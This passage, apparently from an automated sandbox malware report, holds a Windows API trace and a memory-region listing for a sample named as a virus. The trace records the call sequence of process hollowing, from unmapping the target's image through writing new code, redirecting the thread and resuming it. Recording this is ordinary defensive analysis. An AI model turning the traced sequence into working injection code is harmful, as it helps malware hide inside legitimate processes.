[166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 1 [0078.066] ReadProcessMemory (in: hProcess=0x110, lpBaseAddress=0x227008, lpBuffer=0x19bfc0, nSize=0x4, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x19bfc0*, lpNumberOfBytesRead=0x0) returned 1 [0078.067] NtUnmapViewOfSection (ProcessHandle=0x110, BaseAddress=0x400000) returned 0x0 [0078.077] VirtualAllocEx (hProcess=0x110, lpAddress=0x400000, dwSize=0x9000, flAllocationType=0x3000, flProtect=0x40) returned 0x400000 [0078.078] NtWriteVirtualMemory (in: ProcessHandle=0x110, BaseAddress=0x400000, Buffer=0x315a0*, NumberOfBytesToWrite=0x200, NumberOfBytesWritten=0x0 | out: Buffer=0x315a0*, NumberOfBytesWritten=0x0) returned 0x0 [0078.082] NtWriteVirtualMemory (in: ProcessHandle=0x110, BaseAddress=0x401000, Buffer=0x317a0*, NumberOfBytesToWrite=0x7200, NumberOfBytesWritten=0x0 | out: Buffer=0x317a0*, NumberOfBytesWritten=0x0) returned 0x0 [0078.085] WriteProcessMemory (in: hProcess=0x110, lpBaseAddress=0x227008, lpBuffer=0x31654*, nSize=0x4, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x31654*, lpNumberOfBytesWritten=0x0) returned 1 [0078.120] SetThreadContext (hThread=0x10c, lpContext=0x5f0000*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0x0, Ebx=0x227000, Edx=0x0, Ecx=0x0, Eax=0x402f47, Ebp=0x0, Eip=0x77c08fe0, SegCs=0x23, EFlags=0x202, Esp=0x19fff0, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 1 [0078.197] ResumeThread (hThread=0x10c) returned 0x1 [0078.273] CloseHandle (hObject=0x10c) returned 1 [0078.273] CloseHandle (hObject=0x110) returned 1 [0078.273] ExitProcess (uExitCode=0x0) [0078.274] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1e05a8) returned 1 [0078.274] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1e05a8 | out: hHeap=0x1e0000) returned 1 Thread: id = 2 os_tid = 0x314 Process: id = "2" image_name = "31646747fe74d32212a7cbcb97c7d78d.virus.exe" filename = "c:\\users\\rdhj0cnfevzx\\desktop\\31646747fe74d32212a7cbcb97c7d78d.virus.exe" page_root = "0x212d6000" os_pid = "0xe38" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xdb0" cmd_line = "\"C:\\Users\\RDhJ0CNFevzX\\Desktop\\31646747fe74d32212a7cbcb97c7d78d.virus.exe\" " cur_dir = "C:\\Users\\RDhJ0CNFevzX\\Desktop\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f4cd" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 318 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 319 start_va = 0x30000 end_va = 0x31fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 320 start_va = 0x40000 end_va = 0x54fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 321 start_va = 0x60000 end_va = 0x9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 322 start_va = 0xa0000 end_va = 0x19ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000a0000" filename = "" Region: id = 323 start_va = 0x1a0000 end_va = 0x1a3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 324 start_va = 0x1b0000 end_va = 0x1b1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 325 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 326 start_va = 0x400000 end_va = 0x4d3fff monitored = 1 entry_point = 0x423d80 region_type = mapped_file name = "31646747fe74d32212a7cbcb97c7d78d.virus.exe" filename = "\\Users\\RDhJ0CNFevzX\\Desktop\\31646747fe74d32212a7cbcb97c7d78d.virus.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\31646747fe74d32212a7cbcb97c7d78d.virus.exe") Region: id = 327 start_va = 0x77b90000 end_va = 0x77d0afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 328 start_va = 0x7ffb0000 end_va = 0x7ffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007ffb0000" filename = "" Region: id = 329 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 330 start_va = 0x7fff0000 end_va = 0x7ffd504cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 331 start_va = 0x7ffd504d0000 end_va = 0x7ffd50690fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 332 start_va = 0x7ffd50691000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffd50691000" filename = "" Region: id = 334 start_va = 0x400000 end_va = 0x408fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 335 start_va = 0x1e0000 end_va = 0x1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 336 start_va = 0x6edd0000 end_va = 0x6ee1ffff monitored = 0 entry_point = 0x6ede8180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 337 start_va = 0x6ee20000 end_va = 0x6ee99fff monitored = 0 entry_point = 0x6ee33290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 338 start_va = 0x74f30000 end_va = 0x7500ffff monitored = 0 entry_point = 0x74f43980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 339 start_va = 0x6eea0000 end_va = 0x6eea7fff monitored = 0 entry_point = 0x6eea17c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 340 start_va = 0x410000 end_va = 0x50ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000410000" filename = "" Region: id = 341 start_va = 0x74f30000 end_va = 0x7500ffff monitored = 0 entry_point = 0x74f43980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 342 start_va = 0x76ad0000 end_va = 0x76c4dfff monitored = 0 entry_point = 0x76b81b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 343 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 344 start_va = 0x7feb0000 end_va = 0x7ffaffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007feb0000" filename = "" Region: id = 345 start_va = 0x410000 end_va = 0x4cdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 346 start_va = 0x500000 end_va = 0x50ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000500000" filename = "" Region: id = 347 start_va = 0x750d0000 end_va = 0x75216fff monitored = 0 entry_point = 0x750e1cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 348 start_va = 0x77440000 end_va = 0x7758efff monitored = 0 entry_point = 0x774f6820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 349 start_va = 0x510000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000510000" filename = "" Region: id = 350 start_va = 0x550000 end_va = 0x64ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 351 start_va = 0x4d0000 end_va = 0x4f9fff monitored = 0 entry_point = 0x4d5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 352 start_va = 0x650000 end_va = 0x7d7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000650000" filename = "" Region: id = 353 start_va = 0x75660000 end_va = 0x7568afff monitored = 0 entry_point = 0x75665680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 354 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 355 start_va = 0x30000 end_va = 0x30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 356 start_va = 0x7e0000 end_va = 0x960fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007e0000" filename = "" Region: id = 357 start_va = 0x970000 end_va = 0x1d6ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 358 start_va = 0x1c0000 end_va = 0x1c3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 359 start_va = 0x77b10000 end_va = 0x77b8afff monitored = 0 entry_point = 0x77b2e970 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 360 start_va = 0x74a10000 end_va = 0x74acdfff monitored = 0 entry_point = 0x74a45630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 361 start_va = 0x76c50000 end_va = 0x76c93fff monitored = 0 entry_point = 0x76c69d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 362 start_va = 0x74e80000 end_va = 0x74f2cfff monitored = 0 entry_point = 0x74e94f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 363 start_va = 0x748c0000 end_va = 0x748ddfff monitored = 0 entry_point = 0x748cb640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 364 start_va = 0x748b0000 end_va = 0x748b9fff monitored = 0 entry_point = 0x748b2a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 365 start_va = 0x77680000 end_va = 0x776d7fff monitored = 0 entry_point = 0x776c25c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 366 start_va = 0x1d0000 end_va = 0x1dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 367 start_va = 0x75690000 end_va = 0x76a8efff monitored = 0 entry_point = 0x7584b990 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 368 start_va = 0x76a90000 end_va = 0x76ac6fff monitored = 0 entry_point = 0x76a93b50 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll") Region: id = 369 start_va = 0x76e20000 end_va = 0x77318fff monitored = 0 entry_point = 0x77027610 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\SysWOW64\\windows.storage.dll" (normalized: "c:\\windows\\syswow64\\windows.storage.dll") Region: id = 370 start_va = 0x752b0000 end_va = 0x7546cfff monitored = 0 entry_point = 0x75392a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 371 start_va = 0x77590000 end_va = 0x775d4fff monitored = 0 entry_point = 0x775ade90 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 372 start_va = 0x77320000 end_va = 0x7732bfff monitored = 0 entry_point = 0x77323930 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 373 start_va = 0x775e0000 end_va = 0x7766cfff monitored = 0 entry_point = 0x77629b90 region_type = mapped_file name = 